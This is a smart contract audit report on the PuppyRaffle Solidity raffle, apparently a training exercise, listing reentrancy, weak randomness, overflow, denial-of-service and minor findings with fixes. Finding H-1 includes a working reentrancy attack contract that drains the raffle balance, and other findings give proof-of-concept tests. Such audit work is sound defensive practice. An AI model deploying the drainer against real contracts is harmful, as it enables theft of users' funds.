Puppy Raffle Audit Report

Version 1.0

Tanu Gupta

July 10, 2025

Puppy Raffle Protocol Audit Report

Tanu Gupta

July 10, 2025

Prepared by: Tanu Gupta

Lead Security Researcher:

- Tanu Gupta

Table of Contents

- Medium
  - [M-1] Looping though players array to check for duplicate players in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DOS) attack, incrementing gas cost for future raffle entrants.
  - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-3] Smart contract wallets raffle without a `receive` or `fallback` will block the start of a new contest
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
- Informational/Non-critical
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of solidity is not recommended
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
  - [I-5] Use of "magic" number is discouraged.
  - [I-6] State changes are missing events
  - [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.
- Gas
  - [G-1] Unchanged state variables should be declared constants and immutable
  - [G-2] Storage variables in a loop should be cached.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Tanu team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
-  PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Audit duration - 2 days

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` does not follow the CEI (Checks, effects, interaction) and as a result enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call we do update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2
3          address playerAddress = players[playerIndex];
4          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
5          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
6
7  @>      payable(msg.sender).sendValue(entranceFee);
8
9  @>      players[playerIndex] = address(0);
10         emit RaffleRefunded(playerAddress);
11     }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PupplyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle participants could be stolen by the malicious player.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `receive` function that calls `PuppyRaffle::refund` function.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` from their attack contract until the sufficient amount of funds are drained.

Proof of Code: Place the following into `PuppyRaffleTest.t.sol`

Test Case

```
1      function test_Reentrancy_Attack_On_Refund() external playersEntered
           {
2          //1. Deploy the attack contract
3          AttackContract attackContract = new AttackContract{value:
               entranceFee}(puppyRaffle, entranceFee);
4          attackContract.attack();
5
6          //2. Drains the pool.
7          assertEq(address(puppyRaffle).balance, 0);
8      }
```

And this contract as well:

```
1      //Attacking contract posing as raffle player
2      contract AttackContract {
```

```
3           PuppyRaffle immutable i_raffle;
4           uint256 immutable i_entranceFee;
5           address immutable i_player;
6           uint256 index;
7
8           constructor(PuppyRaffle raffle, uint256 entranceFee) payable {
9               i_raffle = raffle;
10              i_entranceFee = entranceFee;
11              i_player = msg.sender;
12          }
13
14          function attack() external {
15              address[] memory newPlayer = new address[](1);
16              newPlayer[0] = address(this);
17              i_raffle.enterRaffle{value: i_entranceFee}(newPlayer);
18              index = i_raffle.getActivePlayerIndex(address(this));
19              i_raffle.refund(index);
20          }
21
22          receive() external payable {
23              if (address(i_raffle).balance >= i_entranceFee) {
24                  i_raffle.refund(index);
25              } else {
26                  (bool success,) = i_player.call{value: address(this).
                        balance}("");
27                  console.log("success: ", success);
28              }
29          }
30      }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `PuppyRaffle::players` array before making any external call. Additionally, we should move the emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8
9   -       players[playerIndex] = address(0);
10  -       emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy NFT

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values and know them ahead of time to become the winner of the raffle themselves.

NOTE: This additionally means users could **front-run** this function and call `refund` if they do not see them as winners.

Impact: Any user can influence the winner of the raffle, winning the money and gaining the `rarest` puppy NFT. Making the entire raffle worthless if it becomes a gas war as who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time, the `block.timestamp` and `block.difficulty` and use that to their advantage to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` is recently replaced with `prevrandao`.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they do not like the winner or puppy NFT.

Using on-chain values as randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 //18446744073709551615
3 myVar = myVar + 1;
4 //myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` overflows, `feeAddress` may not be able to collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 93 players.
2. `totalFees` will be:

```
// fee = 18600000000000000000,
// type(uint64).max = 18446744073709551615
totalFees = totalFees + uint64(fee);
//aka
totalFees = 800000000000000000 + 1780000000000000000;
//this will overflow
totalFees = 153255926290448384;
```

3. Nobody will be able to withdraw due to this conditional check in `PuppyRaffle::withdrawFees`

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Although, one could also use `selfdestruct` to send ETH to this contract in order for values to match and withdraw fees, this is clearly not the intended design of the protocol. At some point there will be too much balance in the contract that the above `require` will be impossible to hit.

Code

```
    function test_Revert_On_IntegerOverflow() external playersEntered{
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint64 totalFeeBefore = puppyRaffle.totalFees(); //
            800000000000000000

        address[] memory newPlayers = new address[](89);
        for (uint256 i = 0; i < newPlayers.length; i++) {
            newPlayers[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 89}(newPlayers);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 fee = (newPlayers.length * entranceFee * 20) / 100; //
            1780000000000000000

        uint64 totalFeeAfter =  totalFeeBefore + uint64(fee);

        assertGt(fee + uint256(puppyRaffle.totalFees()), type(uint64).
            max, "Total fee should overflow");
        puppyRaffle.selectWinner();
```

```
23          assertLt(fee + uint256(puppyRaffle.totalFees()), type(uint64).
                max, "Total fee has overflown");
24
25          console2.log("totalFee: ", uint256(totalFeeAfter), uint256(
                puppyRaffle.totalFees()));
26
27
28          assert(totalFeeAfter == puppyRaffle.totalFees());
29
30          //Verify the truncated value matches manual calculation
31          uint64 expectedTotalFee = puppyRaffle.totalFees(); //
                153255926290448384
32          uint64 computedFee = uint64(totalFeeBefore + uint64(fee) - type
                (uint64).max);
33
34          assertApproxEqAbs(uint256(computedFee), expectedTotalFee, 1);
35      }
```

Recommended Mitigation: There are a few possible recommendations:

1. Use a newer version of solidity and replace `uint64` with `uint256` for `PuppyRaffle::totalFees`.
2. You could also use a `SafeMath` library of `Openzeppelin` for version `0.7.6` of solidity, however you'd still have a hard time with the `uint64` if too much fees is collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
2 +    require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Medium

[M-1] Looping though players array to check for duplicate players in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DOS) attack, incrementing gas cost for future raffle entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array gets, the more checks a new player will have to make, hence making the transaction very expensive to go through. This means the gas cost for players for initally enter the raffle will be dramatically less than those who enter later. Every new address in the `PuppyRaffle::players` array, is an additional check the loop will have to make.

```
//@audit DOS Attack
@> for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
 }
```

Impact: The gas cost for raffle entrance will greatly increase as more players enter the raffle. Discouraging later users from entering, causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteening themselves the win.

Proof of Concept: If fuzz testing is performed with a random number of players in the range of `4 - uint(64).max`, the following test case is expected to fail.

POC

Place the following test into `PuppyRaffleTest.t.sol`

```
function test_Reverts_DOS_Attack_On_Unbounded_For_Loop(uint64
    playersCount) external {
    vm.assume(playersCount >= 4 && playersCount <= type(uint64).max);
    address[] memory players = new address[](playersCount);
    for(uint256 i = 0 ; i < playersCount; ++i){
        players[i] = address(uint160(i));
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersCount}(players)
        ;
}
```

Recommended Mitigation: There are a few recommendations:

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the person from entering multiple times, only the same wallet address.
2. Consider using mapping to check for duplicates. This would allow a constant time lookup of whether a user has already entered.
3. Consider using `Openzeppelin's Enumerable set library`, provides a gas-efficient way to track keys and reset mappings by iterating and deleting entries.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be

truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length >= 4, "PuppyRaffle: Need at least 4
                players");
4           uint256 winnerIndex =
5               uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
6           address winner = players[winnerIndex];
7           uint256 totalAmountCollected = players.length * entranceFee;
8           uint256 prizePool = (totalAmountCollected * 80) / 100;
9           uint256 fee = (totalAmountCollected * 20) / 100;
10  @>      totalFees = totalFees + uint64(fee);
11
12          uint256 tokenId = totalSupply();
13
14          uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
                block.difficulty))) % 100;
15          if (rarity <= COMMON_RARITY) {
16              tokenIdToRarity[tokenId] = COMMON_RARITY;
17          } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
18              tokenIdToRarity[tokenId] = RARE_RARITY;
19          } else {
20              tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
21          }
22          delete players;
23          raffleStartTime = block.timestamp;
24          previousWinner = winner;
25          (bool success,) = winner.call{value: prizePool}("");
26          require(success, "PuppyRaffle: Failed to send prize pool to
                winner");
27          _safeMint(winner, tokenId);
28      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18 ETH`. Meaning, if more than `18ETH` of fees are collected, the fee casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
    uint256 max = type(uint64).max
    uint256 fee = max + 1
    uint64(fee)
    // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle without a `receive` or `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` is responsible for resetting the lottery. However if the winner is a smart contract wallet that rejects the payment, the lottery would not be able to restart.

Additionally, if the winner address came out as `address(0)` due to `PuppyRaffle::refund`, then lottery would not be able to restart too.

Users could easily call the `PuppyRaffle::selectWinner` again and non-wallet entrants could enter, but it cost a lot due to duplicate check via `for`-loop and the lottery reseat could get very challenging.

Impact: The `PuppyRaffle::selectWinner` could revert many times, making the raffle reset difficult. Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the raffle without a receive or fallback function.
2. The lottery ends.
3. The `selectWinner` didn't work even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of `address winners -> uint256 payoutAmount` so users could pull their winning prize by themselves using the new `claimPrize` function instead of the protocol trying to push to their wallets. (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but acording to the natspec it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
       active, it returns 0
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.

3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation:

1. The easiest recommendation would be to revert if the player is not in the array instead of returning 0.
2. You could also reserve the 0th position for any competition, but a better solution might be to return `int256` where the function returns `-1` in case of non-active players.

Informational/Non-critical

[I-1]: Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1  pragma solidity ^0.7.6;
```

Impact: Different Solidity versions handle optimizations, security checks, and syntax differently, wider pragmas can cause unexpected bugs or vulnerabilities. There are chances that the contract might compile with a version that breaks logic.

Different compiler versions optimize bytecode differently. Without a fixed `pragma`, deployments might use suboptimal optimizations.

[I-2] Using an outdated version of solidity is not recommended

Description: `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation:

- Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Description: Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 204

```
1          feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best practice to keep code clean and follow CEI (Check, effects and interaction)

```
1 +    _safeMint(winner, tokenId);
2      (bool success,) = winner.call{value: prizePool}("");
3      require(success, "PuppyRaffle: Failed to send prize pool to winner"
           );
4 -    _safeMint(winner, tokenId);
```

[I-5] Use of "magic" number is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name. Examples

```
1      uint256 prizePool = (totalAmountCollected * 80) / 100;
2      uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1      uint256 public constant PRIZE_POOL_PERCENTAGE = 80
2      uint256 public constant FEE_POOL_PERCENTAGE = 20
3      uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

When critical functions like `PuppyRaffle::selectWinner` don't emit events, systems like dApps, monitoring tools, and indexing services lose visibility into important state transitions as they rely heavily on events to track contract state changes.

Events in Solidity serve as a crucial communication mechanism between smart contracts and external systems. When major state-changing functions fail to emit events, it creates significant operational and monitoring challenges that can disrupt the entire ecosystem depending on the contract.

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.

Every byte of code deployed to the blockchain incurs gas costs during deployment. While seemingly harmless, `dead code` in smart contracts can increase deployment cost, waste network resources and hence their presence is not recommended.

Gas

[G-1] Unchanged state variables should be declared constants and immutable

Description: Reading from storage is much more expensive than reading from constants and immutable variables.

Instances:

- `PuppyRaffle::raffleDuration` - should be immutable
- `PuppyRaffle::commonImageUri` - should be marked constant, since its value is known at compile time and does not change.
- `PuppyRaffle::rareImageUri` - should be marked constant.
- `PuppyRaffle::legendaryImageUri` - should be marked constant.

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length` you read from storage, instead of memory which is more gas efficient.

```
+   uint256 playersLength = players.length
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```